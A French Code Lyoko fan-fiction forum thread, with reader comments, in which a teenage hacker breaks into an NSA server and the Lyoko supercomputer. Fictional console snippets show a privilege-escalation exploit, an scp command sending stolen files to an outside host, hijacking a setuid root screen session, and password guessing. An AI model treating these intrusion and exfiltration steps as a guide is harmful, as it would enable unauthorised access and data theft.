open("/dev/lyoko", X_WRITE) = -1 EACCES (Access Denied)

Pour les fanfics inclassables.

Message 01 Oct 2006, 17:54

open("/dev/lyoko", X_WRITE) = -1 EACCES (Access Denied)

** Mars 1999, Nico **

- Bon, là, ça devrait marcher ... disait Nico en relançant un programme légérement modifié depuis le lamentable crash d'il y a quelque seconde.
console a écrit:[www-data@lucifer.nsa.gov /tmp] ./wtf --vbig=/usr/local/lib/libssl.so /tmp/.sshagent-0
Exploiting SSL security hole in ssh-agent... Done !
# id -a
uid=0(root) gid=0(root) groups=0(root)

- r00ted, maintenant récuperer les dossiers classifié et deconnection, faut pas trop trainer sur ce serveur.
console a écrit:Broadcast message from security@lucifer on ttyp42 at 19:30 ...
Warning ! Security Violation Detected !
Please backup your files and disconnect NOW !
System is going to shutdown in 20 seconds !

- M<BIIIIIIIIIIIIIIIP> detecté ! Recuperer ce que je peux ...
console a écrit:# scp /priv/data/* hehe@zoom.ps4net17.com:/opt/cstrike/datas/
Broadcast message from root@lucifer on ttyp0 at 19:30 ...
System is going to shutdown in 5 seconds !
# Connection reset by peer
ssh: Connection reset by peer
hehe@zoom:/opt/cstrike/datas/$ ls
<...>
project-carthage.tar.bz2
project-xanadu.tar.bz2
<...>

- Vite, migrer ces données ...
20 minutes plus tard, l'ensemble des fichiers etait sur le disque dur de l'ordinateur portable de Nico, dans une partition crypté.
Nico déconnecta son modem acoustique de la cabine téléphonique, rangea son materiel et s'en alla aprés avoir effaçait toute traces de sa presence.

** De nos jours, Lyokonautes**

C'etait la rentré des classes au lycée, aprés le speech toujours aussi navrant du proviseur, ce fut la recreation.
Il y avait des nouveaux éléves.
Les lyokonautes s'etait retrouvé à coté d'un banc.
- Passé de bonne vacance Jéremi ? demanda Ulrich à un Jéremie penché sur son ordinateur portable.
- J'ai fais la maintenance du SC avec Aelita et on a decouvert de vieux programmes appartenant à Franz Hopper. Je ne sais pas encore ce que c'est exactement mais j'espere bien le decouvrir. dit rapidement Jeremie en levant à peine les yeux de son écran.
- En tous cas, il n'y a pas que toi qui est accro. dit Odd en regardant un des nouveaux eleves avec son ordinateur portable ouvert et qui semblait trés concentré par ce qu'il voyait.
Brusquement, il les regarda puis la recreation pris fin.

** ..., Nico **

- Enfin la recré, je tenais plus !
Nico sortit son ordinateur portable, le sortit de vieille et lança iwlist scan
Une longue liste apparues dans le shell mais une entrée attira son attention.
console a écrit:Cell 01 - Address: 02:03:05:07:11:13
ESSID:"xanadu"
Mode:Master
Frequency:2.462 GHz (Channel 11)
Signal level:-55 dBm Noise level:-88 dBm
Encryption key:on

- 02:03:05:07:11:13 ? Mais c'est la séquence de, Nico ne finit pas sa phrase, trop occupai a configurer airodump qui lui fit une autre surprise.
2 autres machine dont une trés proche de lui était connecté à xanadu.
Nico chercha d'autre personnes ayant un ordinateur portable et repéra un groupe d'eleves affalé sur un banc.
La cloche sonna, il poussa un soupir puis se dirigea vers la salle de cour.

** Quelque heures de cour plus tard, Aelita,Jeremie,Nico **

Aelita et Jeremie sortir de cour et allérent à l'usine.
Derriére eux, Nico les suivaient.

A mesure que Nico s'approchait de l'anciene usine Renaut, son ordinateur portable capté de mieux en mieux l'AP ayant l'adresse MAC 02:03:05:07:11:13.
Il vit Jéremie & Aelita qui descendait par un accenseur.
- Pas question d'utiliser l'ascenceur donc je vais encore joué à James Bond pensa Nico.
Il sortit de son sac son equipement d'escalade et commença à descendre en utilisant le cable.
Quand il fut suffisant proche du toit de la cabine, il sauta dessus.
Malheuresement, à ce moment Jeremie, ayant decidé d'aller examiner les scanner, appuya sur le bouton pour descendre.
Nico se retrouva dans le vide.
- Bon c'est pas grave, je vais me balancer pour atteindre l'autre coté.
Aprés 2-3 minutes de mouvements, il s'accrocha et declenchant l'ouverture de la porte, entra dans la salle.
- Et M<BIIIIIIIIIIIIIIIP>, Xanadu....
Il s'approcha des écrans et ouvrit un shell.
À ce moment là, un programme nommé SuperScan afficha une alerte.
- Tour activée, oops Xana ...
Nico tapa vite des commandes sur la console, ouvrit un fichier sur son ordinateur portable et commença une partie de hack ...
- Les tours sont generé par un prog qui ecris et lit le fichier /apps/lyoko/var/state.db et je peux ecrire dessus.
Si je réecrit le fichier, est-ce que ...
Non, le prog fait des checks d'integrités ...
A ce moment là, l'oeil de Nico tomba sur une partie «Gestion des Utilisateurs» et tenta machinalement de lister les utilisateurs connecté.
console a écrit:SC> show user * summary
10 years, 4 months, 13 days, 21:11:03 up 6:57, 91 users, load average: 16,19, 8,11, 9,09
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
xana pte/6 [UNKNW] [UNKNW] 0.00s 0.02s 0.00s /usr/xana/bin/attack
franz pte/21 - 10 years, 4 months, 13 days, 21:00 14.24s 0.00s 0.00s /sys/bin/gest
root pts/0 - - - - - [screen]

- Mais screen est suid ...
Il appella screen -r et eue un joli prompt root.
Il killa tout les processus de pte/6 et le SuperScan signala que la tour se désactiva.
- Piouf ...
- Qui êtes-vous ? dit une voie derriére lui.
Nico regarda derriére lui et vis Jéremie et Aelita qui n'était pas vraiment content de le voir.
- Qu'avait vous fait ?
A ce moment là, un message d'erreur apparut sur l'ecran.


=> La suite quand je pourrai :)
J'ai juste mis en place la situation de départ.
Aucun serveur n'a été blessé pendant l'ecriture de cette partie :P
Avatar de l’utilisateur

Tueur de Krabes

Messages: 782

Inscription: 18 Mai 2004, 16:02

Localisation: Je rêve avec Aëlita!…

Message 03 Avr 2007, 01:29

L'iddé de cette fiction est pas mal du tout, sauf qu'elle est un peut trop technique! Il faudrait juste mettre le nécessaire mais ne pas embrouiller l'histoire avec trop de codes et de thermes informatiques!
«Ulrich: Encore un seul proverbe bidon, et t'est mort pigée!?»
«Odd: J´en ai un! "Ulrich qui perds la tête, aurais mieux fais de rester sous sa couête!!!»
---
Jim Moralès: Jérémie! Reviens ici tout de suite!…
…Laissez moi faire, je m'en occupe!… bOOOm!!! (Dans le tronc d'ârbre!)
---
Image

Message 23 Avr 2007, 10:12

** Salle de Controle du SC, Nico, Aelita & Jeremie **

Nico se tourna immédiatement vers la console.
console a écrit:ALERT! ALERT! ALERT!
Cannot connect to message bus system!
Warning: inconsistency detected in Lyoko!
=====> ASSERT FAILED at 0x2ffac9b3 !
=====> ASSERT FAILED at 0x82145de !


Toutes les secondes, un ASSERT FAILED s'inscrivait dans la console.
Jérémie poussa Nico et tapa comme un acharné sur le clavier.

- Mais vous avez désactivé Xana !
- Oui, mais on dirait que le système en a besoin.

A ce moment là, Aelita tomba dans le coma.
Jerémie la rattrapa avant qu'elle ne touche le sol et tenta de la réanimer.

Nico se mit devant la console, cliqua sur la fenêtre qu'il avait utiliser pour killer Xana et trouva le script qui avait initialisé pour la première fois Xana dans le répertoire de root puis le lança.
Des centaines de messages d'erreurs s'affichèrent mais les ASSERT FAILED arrêtèrent de se produire.

- Piouf ! Aelita va bien ?
- Son coeur bat et elle respire. Mais maintenant qui êtes vous ?
- Nico. Pourquoi avez-vous réactivé ce SC ?
- J'étais curieux et après que j'ai connu Aelita, je ne pouvais plus le désactiver.

Discrètement Jeremie s'était rapproché de la console et avait lancé la procédure de retour dans le passé.
- Eh !
Nico n'eut pas le temps de finir sa phrase, le retour dans le passé se produisit.

** Janvier 2000, Nico **

Nico avait extrait les fichiers les fichiers qu'il avait «emprunté» à la NSA.
La plupart évoquai de sombres histoires de manipulation qui lui faisait froid dans le dos.
Mais dés qu'il pris connaissance de project-xanadu.tar.bz2, il fut surpris.
«Un super-calculateur quantique ? Un monde virtuel avec immersion complète ? Mais c'est génial ! » pensa-t-il avant de se lancer dans l'étude approfondis des fichiers.

Il y avait des formules qui était bien au-delà de son niveau en mathématique et en physique par contre il y avait du code source et des échanges de mail.

Il trouva aussi un fichier crypté par PGP.
Nico n'avait pas envie d'attendre quelque milliards d'année pour ouvrir un fichier alors il replongea dans l'étude du code quand il se rappela brusquement une faille touchant un algo de PGP.

Il retrouva un lien vers l'article sur LinuxFR, écrivis un script et le lança.
Quelque minutes après, une archive tar.bz2 fut extraite.

Les fichiers de l'archives appartenait à un certain f.hopper.
«f.hopper ... Franz Hopper. Le concepteur de Lyoko.» réalisa-t-il.

Parmi les nombreux répertoires extraient, il trouva les notes d'Hopper sur la prochaine evolution de Lyoko.

Soudain, un message d'alerte lui signala quelqu'un tentait de remonter sa chaîne de relais.
«Et m<biiiiiiiiiiiiiiiip> ! Une macro piége dans ce p<biiiiiiiiiiiiiiiiiiiip> de document Word.»

Nico lança l'auto-destruction de plusieurs de ses relais, éteignis en urgence sa machine et changea encore une fois d'identité.

==> Cette partie là a été écrite il y a quelques semaines mais Abiword crasha lors de la sauvegarde.
Aujourd'hui, j'ai retrouvé des morceau de ce texte dans le swap de ma machine et j'ai réécris ce qui manquait.
==> Bon là, il y a quelque serveur qui ont souffert.
Paix à ton âme Xavia. Et bienvenu st0rage :)

Massacreur de Rampants

Messages: 1375

Inscription: 22 Déc 2006, 22:58

Localisation: Cher (18)

Message 23 Avr 2007, 10:32

C'est...informatique lol!!!!
Comme le dit Playermaniac.net, on a l'impression d'assister à une scène où Hopper fait son journal...c'est trop technique...on y comprends rien...
pour le reste, bah..la narration est pas mal...
désolée, c'est tout ce que je peux écrire...!! :?

Message 23 Avr 2007, 11:06

D'accord je résume en donnant des explications:

Au début, Nico utilise une faille pour télécharger beaucoup de fichier sur un serveur de la NSA.
Il se fait detecté trés rapidement mais arrivent quand même à recuperer des fichiers concernant carthage.

Quelque années plus tard, il est au collége Cadic et repere que un AP wifi qui lui rappelle ce qu'il a lut.
Il s'aperçoit que Jeremie est connecté à ce réseau et le suit.

Ils arrivent à l'usine, Nico voit Xana activé une tour et tente de désactiver via la console.
Il trouve que l'utilisateur root (super-utilisateur/administratreur) a ouvert une session via screen et grace à des permission erroné, il accéde à cette session.
Il tue tout les processus appartenant à Xana et déstabilise le SC.

Jeremie arrive, Aelita tombe dans un coma profond, Nico trouve le script qui a permis la création initial de Xana dans le répertoire de root.
Il le lance et pendant qu'il s'approche d'Aelita pour voir si elle récuperer, Jeremie lance un retour vers le passé.

Flashback: Nico plus jeune etudie ce qu'il a recupéré chez la NSA.
Il utilise un probléme dans PGP (Pretty Good Encryption (oops)) qui réduit la securité du cryptage et arrive donc à decompresser des fichiers appartenant à Franz Hopper en quelques minutes au lieu de quelque milliard d'annés.

Malheuresement pour lui, il a ouvert un fichier Word qui contenait une macro qui communique avec la NSA.
Mais comme sa machine a une configuration un peu particuliere, la communication est passé par une chaine de relais (des serveurs compromis) ce qui cache sa veritable identité.

Le programme de relais sur un hôte compromis lui signale une intrusion et il comprend qu'il va avoir un probléme.
Il detruit donc quelques serveurs relais histoire d'effacer ces traces et se fait discret pour un moment.

Message 26 Avr 2007, 17:35

*** [Erreur], Nico, [Erreur] ***

Nico flottait dans le noir.
«Heu ... Pourquoi j'ai l'impression que ca va empirer ?»

Soudain, un environnement commença à apparaitre.
Nico atterit sur une plateforme ronde.

Devant lui, des centaines de boules lumineuse de differents couleurs passait dans tous les sens.
Nico s'approcha du bord de la plateforme et un shell apparut devant lui.

shell a écrit:Dev Access -- Do Not Use In Production !
login:/>


Nico sourit et pensa «Ah combien de fois j'ai vu ce Do Not Use In Production !».

Il commença à utiliser le shell pour se renseigner sur le fonctionnement du systéme.
C'etait une vielle Sun Ultra Enterprise tournant sous Solaris manifestement connecté à un réseau privé.
Listant la configuration ipv4, il decouvrit que la machine n'avait pas de gateway et pas de dns.
Le log de connection ne contenait aucune connection récente à part une entrée signalant le lancement d'une invite de connection.
En faite, les logs du systéme etait casiment vide malgrés un uptime important.
Il se loggua dans le compte root aprés 2 essai de mot de passe courant.
« Aucun fichier utilisateur, un historique de commande casi vide, un mot de passe courant pour le compte root. Mais un firewall configuré, un mininum de services lancé. Ca ressemble à un serveur dont la configuration a été interrompuse.»

Tentant un ping broadcast, Nico decouvrit une autre machine sur 10.235.71.113.
«02:03:05:07:11:13 encore une fois. C'est fou comme je retrouve cette séquence en ce moment. » pensa-t-il.

Il lista le contenu du dossier /root et eue une surprise:
shell a écrit:root:~> find
.ssh
.ssh/known_hosts
.ssh/id_dsa
.ssh/id_dsa.pub
.ssh/config
root:~> cat .ssh/config
Host 10.235.71.113
CheckHostIP yes
StrictHostKeyChecking yes
Port 22
Protocol 2
SendEnv LANG LC_*
HashKnownHosts yes
User f.hopper

« Il y avait un serveur ssh2 sur 10.235.71.113 avec un utilisateur f.hopper et où on pouvait se via une clef publique.» Decoda-t-il. « Peut-on encore s'y logguer ?»

shell a écrit:root:~> ssh 10.235.71.113
Last login: Tuesday, 31 December 1996 23:59:59 from 150.177.2.193
SC>


«Je me disais bien que je ne devais pas être loin du SC.» s'exclama Nico.
Il utilisa ssh pour se logguer sur un serveur de shell gratuit.

shell a écrit:SC> ssh -l qwerty1 st0rage.org
The authenticity of host 'ssh.unhandledexceptions.com (69.128.116.234)' can't be established.
RSA key fingerprint is 43:97:d3:0b:a0:46:9a:b0:11:e8:33:45:2f:25:cd:cd.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'ssh.unhandledexceptions.com' (RSA) to the list of known hosts.
Password:
Linux ssh.unhandledexceptions.com 2.4.26-1-386 #1 Tue Aug 24 13:31:19 JST 2004 i686

Please behave yourself.

Rules:

1) No running sevices, unless you have permission from Termina. This includes irc bots, vnc, etc.

2) IRC clients are allowed. No EggDrop/bots allowed.

3) Do not attempt to view/access files belonging to other users.

4) Report any problems you find immediatly to termina@gmail.com

5) Any abuse (.plan, etc) will result in immediate account deletion, and IP ban from both site and IRC.

Thanks for your understanding

Last login: Thu Apr 26 10:40:19 2007 from mail.boursorama.fr
qwerty1@ssh:~$ finger qwerty1
Login: qwerty1 Name:
Directory: /home/qwerty1 Shell: /bin/bash
On since Thu Apr 26 10:42 (CDT) on pts/28 from 0.2.3.5
2 seconds idle
No mail.
No plan.
qwerty1@ssh:~$ host 150.177.2.193
193.2.177.150.in-addr.arpa domain name pointer m830w193.ftmeade.army.mil.

« Bon, la liaison vers Internet fonctionne, SSH est autorisé en sortie.
Par contre les anomalies s'accumulent:
- l'ip est totalement fantaisiste et non routable sur Internet.
- Franz Hopper s'est loggué sur le SC d'appartir une machine de la NSA alors qu'il les avait aux trouses ...» dit tout haut Nico.

«Bon travail de déduction jeune homme !» entendit Nico derriére lui.
Il se retourna lentement et decouvrit un amas de lumiére.
- Mr Franz Hopper je suppose ?
- A votre avis ?

«Oula, ca commence bien» se dit Nico

===> Je rattache des elements réels à l'histoire.
J'ai tenté de rendre comprehensible les elements techniques.
Si c'est toujours incomprehensible, dites-le moi !

===> J'essaie d'eviter le piége du personnage personnel qui devient le hero de Code Lyoko.
Nico ne sera pas un Jérémie-bis.

Jeune Lyokophile

Messages: 187

Inscription: 10 Avr 2004, 19:20

Localisation: Colmar

Message 26 Avr 2007, 17:43

Bon ben , points négatifs:
-C'est toujours aussi incompréhensible.
-Du coup on a beaucoup de mal a ne pas perdre le fil.

Message 26 Avr 2007, 18:07

:-(
Tu as laché à quel moment ?

Quelque explication pour que ce soit plus claire:

Je me sers des quote pour montrer ce qui est affiché.
En gras c'est les entrés utilisateurs.

SSH est un protocole servant principalement à prendre le contrôle à distance ou à ouvrir une session sur un serveur (linux, *bsd, mac os x et même windows dans certain cas).

st0rage.org intervient pour donner 2 informations importante:
- l'origine de la connection à distance le 31 Decembre 1996 de Franz Hopper: Fort Meade, siége de la NSA
- le SuperCalculateur a un accés au Net trés étrange: une ip en 0.2.3.5.

Neutraliseur de Tarentules

Messages: 1124

Inscription: 07 Sep 2005, 12:39

Localisation: Quelque part au plus profond de mon âme où vous pouvez pas me trouver

Message 27 Avr 2007, 16:04

J'ai absolument rien compris au début de ta fic :evil:

Jeune Lyokophile

Messages: 187

Inscription: 10 Avr 2004, 19:20

Localisation: Colmar

Message 27 Avr 2007, 17:35

@«»©®ø€€åýðþ a écrit::-(
Tu as laché à quel moment ?



J'ai survolé en lisant les bouts les plus compréhensibles.

Message 28 Avr 2007, 17:14

yami no kitsune a écrit:J'ai absolument rien compris au début de ta fic :evil:


Au début, j'accéde via une faille à un serveur de la NSA et j'arrive à recuperer plusieures archives.
Je me trés rapidement découvert et je m'en sort uniquement grâce à ma chaine de relais.

Plus tard, quand la chasse à l'homme s'est calmé, je decompresse un des archives et je decrypte des fichiers de Franz Hopper via une faille dans PGP (dont l'auteur de la fiction a un peu exageré les effets: voire https://linuxfr.org/2001/03/22/2864.html ).

Dans les fichiers decompressé de la NSA, il y avait un document Word que j'ai ouvert. Il contenait une macro qui a «téléphoné à la maison» et seule la chaine de relais m'a aidé à m'en sortir une fois encore.
(Tor en est une et l'auteur à un node Tor de sortie actif.)

Les années passent et je me retrouve au collége Cadic.
Pendant la récreation, en cherchant un accés à Internet via WIFI, je trouve un AP qui à une MAC composé de nombre premier et dont le nom me fait tiquer.
Utilisant un soft appellé Airodump (faisant partie de la suite aircrack-ng), j'arrive à determiner les machines connecté à ce réseau et leur position geographique (avec plus ou moins de bonheur).

Suivant Jérémie à l'usine, j'arrive au début d'une attaque de Xana et j'arrive à le désactiver un à l'arrache en utilisant une erreur (volontaire ?) de permission sur Screen.
(Wikipedia dit: GNU Screen [..] est un multiplexeur de terminaux en mode texte. Screen est développé par le Projet GNU. Il permet à un utilisateur d'accéder de multiples sessions de terminal à l'intérieur d'une simple fenêtre de terminal, ou d'une session distante typiquement lancée par ssh. C'est pratique pour gérer de multiples processus.)

En faisant ça, j'ai bousillé le Message Bus System du Super-calculateur et Lyoko commença à planter sérieusement.

Bon, j'arrive a rétablir la situation mais Jeremie me prenant en traitre lance un retour dans le passé.

Bizarrement, au lieu d'arriver à Cadics et de perdre la memoire, je me retrouve dans un environnement virtuel.
Un shell apparait devant moi et je montre mes skills en hacking :)

Serieusement ? Je vois un prompt de login, je tape root et j'essai plusieur mot de passe.
Un est valide alors je me renseigne sur la machine.
Je deduis de la configuration quelque trucs sans trop d'importance (Hum, l'auteur me dit de me mefier ? J'ai comme l'impression que je reverrais bientôt ce systéme ...).

Fouillant le repertoire du super-utilisateur, je trouve un fichier de configuration de SSH et une clef privé de Franz Hopper :D
J'utilise les information du fichier de configuration pour me logger sur la machine distante et je me retrouve devant le prompt du supercalculateur.

Je tente donc tout naturellement de me connecter à un serveur Internet histoire de determiner les murs de ma prison.

Mais il n'y avait pas de murs pour ssh et je retrouve sur st0rage.org.
Je determine l'ip du SC et j'ai une belle surprise.

Je ne sais comment Hopper s'est debrouillé mais il a réussis à rendre routable sur Internet une adresse dans la plage 0.0.0.0-0.255.255.255 !
Franchement, la je lui tire mon chapeau !

En outre, je decouvre dans les logs du SC que Hopper s'est loggué d'une machine de la NSA le 31 decembre 1996 (c'etait un Mardi au faite :) )

Quelque secondes aprés la fin de mes reflexions, Hopper fait retentir sa voie dans mon dos.

J'ai comme l'impression que je me suis encore foutu dans une situation impossible comme d'hab :)


Nico.

Message 21 Mai 2007, 14:27

** ..., ... ***

- Vu où je me trouve, la réponse est probablement oui mais vu les circonstances de mon arrivé, il valait mieux acquerir des données plus ou moins fiable.
Cela étant possé, pourquoi m'avoir amené ici ?
- Vous avez failli planter le SC et me tuer au passage!
Et vous avez le culot de me demander pourquoi ?
- Oui. Donc pourquoi ?
- Parce que je veux savoir qui vous êtes.
Vous avez utiliser des commandes et des clefs qui ne sont connus que de moi seul.
- Celle que décrit votre journal ?
- [silence] Où avez trouver ce fichier et comment l'avez vous ouvert ?
- Sur un serveur de la NSA il y a quelque année. Et puis vous aviez utilisé un alglo foireux de PGP donc la clef privé a été vite cassée.

[re silence]

Nico regarda de nouveau la console qui affiché toujours le qwerty1@ssh:~$.
Mettant au défi Franz Hopper de dire quelque chose, il coupa la connection au SC et commença à se bidouiller un compte.

- On ne vous a jamais dit que c'etait impoli de créé des comptes surtout ayant des priviléges administrateurs sur des machines qui ne vous appartiennent pas.
- Déformation professionnel.
- De toute façon, cela va etre effacé ...
- Pas encore un retour vers le passé !
- J'ai suspendus le précedant pour vous parler mais l'équipement ne va pas pouvoir continuait longtemps dans cet état. Et vous ne chercherai plus a acceder à Xanadu. Retour dans le passé !

Pendant que Franz Hopper parlait, Nico avait rétablis une liaison SSH avec le SC sans se faire remarquer.
Il s'ajouta à la liste des personnes à qui il fallait preserver la mémoire et lanca un petit processus discret.
Il venait juste de terminer de taper lorsque la bulle blanche l'engloba.

** Le matin du jour d'avant la rentrée, Nico **

Nico se retrouva devant son ordinateurs portable, dans son QG, le matin de la rentrée des classes.
Il réflechis quelques secondes à ce qui venait de se passer puis pris une décision.
«Je n'aime pas quand on tente de modifier ma memoire Mr Hopper. Et si je veut participer a votre jeux qui est plutôt dangereux pour le monde, vous ne pourrez pas m'en empecher.»

Trés vite, il acceda a une machine du rectorat puis utilisant le VPN servant à l'administration à distance du firewall/serveur proxy, il se loggua dans une des machines de l'administration du collége Kadic et changea son affectation:
«Je change de classe et je me met dans celle de Jeremy. »

Il se deconnecta quelques minutes plus tard.

Il chercha dans son foutoir un Soekris, vida rapidement la carte Flash et y installa un OS minimal.
Il passa quelque minutes a monter dedans une carte ethernet un peu spécial puisque supportant des débit de l'ordre des 10Gb/s en faisant trés peu travailler le CPU.
Il l'alluma, installa quelques programmes, pré-configura une suite d'utilitaire, le script de démarrage et adapta la configuration du firewall.
Il atteignit la machine et la mis dans un sac avec quelque cables, des tournevis et de l'adhésif double face.

«Rock'n'roll !» se dit-il en sortant du QG et en prenant la direction de l'usine.

--

Quelque termes:
  • VPN: Virtual Private Network Ou Réseau Privé Virtuel: Cela permet de créé une pseudo LAN entre des machines connecté à Internet et situé à des endroits different. Les liaisons entre les differentes machines de la pseudo-LAN sont sécurisé.
  • Soekris: C'est le nom d'une marque de carte mére permettant de construire des equipements comme des routeurs, bornes WIFI, firewall, NAS, etc.. dans de petit boitiers et consommant peu.


J'ai essayé de faire beaucoup plus simple techniquement.

Message 03 Juin 2007, 19:22

Franchement, j'adhère :p

Une fanfiction sur CL avec des termes informatiques, il faillait y penser et surtout la réaliser. Apres il est possible que les termes technique limite le nombre de personnes qui ont comprit/aiment la fic m'enfin bon...

Il y a une petite incohérence : tu dit qu'il n'y a pas d'acces à internet et plus bas tu dit réussir à te connecter en SSH sur un host distant :p

Neutraliseur de Tarentules

Messages: 1124

Inscription: 07 Sep 2005, 12:39

Localisation: Quelque part au plus profond de mon âme où vous pouvez pas me trouver

Message 03 Juin 2007, 19:28

C'est complexe l'écriture que tu utilise :pale: :pale:
J'ai un peu de mal à comprendre mais continue, stp ^^

Tueur de Blocks

Messages: 419

Inscription: 17 Avr 2007, 13:20

Localisation: Dans ton lit, avec ta femme !

Message 04 Juin 2007, 16:07

yami no kitsune a écrit:C'est complexe l'écriture que tu utilise :pale: :pale:
J'ai un peu de mal à comprendre mais continue, stp ^^


Codes informatique ==> Ecriture informatique ==> Vous n'avez rien compris !

En ce qui me concerne, je suis exellent en informatique (JE NE ME VANTE PAS !!!!!!!!!) et je comprend tout à ce que tu as écrit ! Et pour une fois, c'est une bonne idée de créer une fanfic avec que du langage informatique !
Dernière édition par spidernico le 04 Juin 2007, 21:14, édité 1 fois.
Venez m'taper !

Fanfics :
http://yumi2004.fr/forum/viewtopic.php?t=4968
http://yumi2004.fr/forum/viewtopic.php?t=4752

Si un jour tu te sens moche, nul et con, dis toi que le grand chêne fut un gland comme toi.

Neutraliseur de Tarentules

Messages: 1124

Inscription: 07 Sep 2005, 12:39

Localisation: Quelque part au plus profond de mon âme où vous pouvez pas me trouver

Message 04 Juin 2007, 20:45

Tu veux qu'on t'appel Einstein ou Jérémie :?: ;) :lol: :lol: :lol: :lol:
MDR MDR MDR MDR. Sérieux, j'aime bien la fic mais je saute les passage informatiques ;) , c'est plus simple 8)

Stade de Lyokophilisation

Messages: 142

Inscription: 09 Mai 2007, 20:53

Message 05 Juin 2007, 17:56

That's a good fic :)

Dommage que les commandes soient fantaisistes (pour trouver l'uptime,rien de mieux que ... uptime ? XD)

Message 08 Juin 2007, 15:09

Anonymous a écrit:Il y a une petite incohérence : tu dit qu'il n'y a pas d'acces à internet et plus bas tu dit réussir à te connecter en SSH sur un host distant :p

Le terminal dans lyoko donne un accés à une machine isolé d'Internet.
Mais elle est connecté au SC, donc le SC sert de relais pour sortir vers Internet.
Aprés, l'IP source est fantaisiste ce qui indique que Nico va avoir une surprises en tentant de brancher sa Soekris.

sam101 a écrit:That's a good fic :)

Dommage que les commandes soient fantaisistes (pour trouver l'uptime,rien de mieux que ... uptime ? XD)


A part le show user * summary du début qui aurait du etre un w (mais je doute que beaucoup de monde connaissent cette commande [quelqu'un peut le changer en show users /full si chére aux administrateurs openVMS ?]), le reste est valide.

Stade de Lyokophilisation

Messages: 142

Inscription: 09 Mai 2007, 20:53

Message 09 Juin 2007, 17:11

Personellement,j'arrive pas a faire un Show sur ma becane ^^.Mais effectivement,cela doit être ca :p

Message 09 Juin 2007, 17:34

  Code:
GEIN $ show user /full
      OpenVMS User Processes at  9-JUN-2007 15:29:15.75
    Total number of users = 22,  number of processes = 31

 Username    Node   Process Name      PID     Terminal
 ANALYZE      GEIN  ANALYZE         20234997  FTA5704:
                                                       (ssh/125.160.98.191:1569)
 ARPANET      GEIN  ARPANET         2023824A  FTA5710:
                                             (ssh/cactus.8-bit-system.info:2144)
 BURLEY       GEIN  BATCH_386       2021621F  (Batch)
 DAHMER       GEIN  DAHMER          20226B8F  FTA4956:
                          (ssh/pool-71-103-86-86.lsanca.dsl-w.verizon.net:50096)
 DEMO         GEIN  DEMO            20212B09  FTA1982:
                                         (ssh/mary015-0b03-dhcp-193.bu.edu:4253)
 DEMO         GEIN  SSHD 0035A PTD  2021B529  FTA3457:
                                 (ssh/sge91-2-82-227-33-164.fbx.proxad.net:1268)
 DEMO         GEIN  SSHD 0176A PTD  2021EE58  FTA3969:
                                                (ssh/fhtagn.democrite.net:41275)
 DEMO         GEIN  SSHD 0277A PTD  20233E56  FTA5712:
                                                       (ssh/xanadu.devnull.co.uk:62260)
 DEMO       MANSON  DEMO            204034D5  FTA37:   (ssh/82.160.127.23:1036)
 DEMO       MANSON  SSHD 0418A PTD  2040351F  FTA38:   (ssh/82.160.127.23:1036)
 DOODAAMAN    GEIN  DOODAAMAN       202354D6  NTY8342:
                                                    (60-240-185-196.tpgi.com.au)
 DOODAAMAN  MANSON  DOODAAMAN       204078E1  NTY2719:
                                                    (60-240-185-196.tpgi.com.au)
 ERICR        GEIN  ERICR           20225816  FTA5399:
                                                  (ssh/heroes.rutgers.edu:37547)
 FERD         GEIN  FERD            20232486  FTA5694:
                                                       (ssh/134.210.94.219:2100)
 FOUTA        GEIN  FOUTA           20218F6D  FTA3804:
                                                       (ssh/41.224.254.241:3523)
 FOUTA        GEIN  SSHD 0242A PTD  2022C2C0  FTA5013:
                                                       (ssh/41.224.235.161:3150)
 ILLARKUL     GEIN  ILLARKUL        20234B4E  FTA5604:
                       (ssh/spc3-ward3-0-0-cust645.bagu.broadband.ntl.com:50652)
 JONM         GEIN  JONM            2022C2CD  FTA5657:
                     (ssh/80-195-193-46.cable.ubr01.sutt.blueyonder.co.uk:59611)
 MEATE0R      GEIN  MEATE0R         20215692  FTA2624: (ssh/217.22.55.50:36801)
 NINNY17    MANSON  NINNY17         20406EA5  NTY2666:
                                                (168.176.103-84.rev.gaoland.net)
 NSOMNIAC     GEIN  SSHD 0865A PTD  2022A26C  FTA5625:
                           (ssh/adsl-75-32-168-35.dsl.rcsntx.sbcglobal.net:1341)
 OBRIEN       GEIN  OBRIEN          2022DFCB  FTA5419:
                                         (ssh/eeq194.internetdsl.tpnet.pl:42960)
 PREDDY       GEIN  PREDDY          2022A130  FTA5239:
                                     (ssh/ip49-10-166-62.adsl.versatel.nl:41016)
 PREDDY       GEIN  SSHD 0260A PTD  2022DB83  FTA5699:
                                     (ssh/ip49-10-166-62.adsl.versatel.nl:52672)
 SHIFOE       GEIN  SHIFOE          20216EA1  FTA2688:
                                         (ssh/72-254-1-131.client.stsn.net:2406)
 STEVO        GEIN  STEVO           20226461  FTA4852:
                           (ssh/cpc2-linc7-0-0-cust204.nott.cable.ntl.com:41321)
 SXDC       MANSON  SXDC            20407428  NTY2689:
                                  (219-84-180-31-adsl-tan.dynamic.so-net.net.tw)
 TAD          GEIN  TAD             20234F54  FTA5711:
                            (ssh/pool-71-97-254-3.ptldor.dsl-w.verizon.net:4106)
 VARDAN       GEIN  SSHD 0268A PTD  2022D980  FTA5703: (ssh/82.198.1.11:3674)
 VARDAN       GEIN  VARDAN          2022A2B6  FTA5700: (ssh/82.198.1.11:1266)
 ZAMOCNY      GEIN  ZAMOCNY         20223963  FTA4264:
                                    (ssh/host-81-190-40-103.szczecin.mm.pl:3459)
GEIN $


Suffit d'avoir le bon OS pour avoir les bonnes commandes :)
Avatar de l’utilisateur

Futur Lyokofan

Messages: 23

Inscription: 26 Juin 2006, 18:36

Message 04 Oct 2007, 22:29

Supet fic, j'attends vraiment la suite.
Pour ceux qui connaissent les commandes, et qui aiment l'informatique, c'ette fic est un regal. je t'ecourage vraiment a poster la suite
.
Cordialement

Message 01 Avr 2008, 18:27

** Vers Midi, Nico**

Nico arrivait en vue de l'usine quand il vit Jérémie sortir de l'usine avec Aelita.
Il se cacha et tenta d'ecouter leur discution:
« Non, je ne sais pas qui était ce Nico. Je vais voir dans les fichiers du collège ce que je peut trouver.
- En tous cas, il semble connaitre le SC et Lyoko. Malgrés le retour dans le passé, il peut être dangereux.
Tu as bien fait de verrouiller l'ascenseur.»
Ils passerent sans voir Nico qui pensait «dangereux pour qui ?» et sortirent de son champ visuel.

Nico entra dans l'usine et sans surprise constata qu'il ne pouvait ouvrir la porte de l'ascenseur.
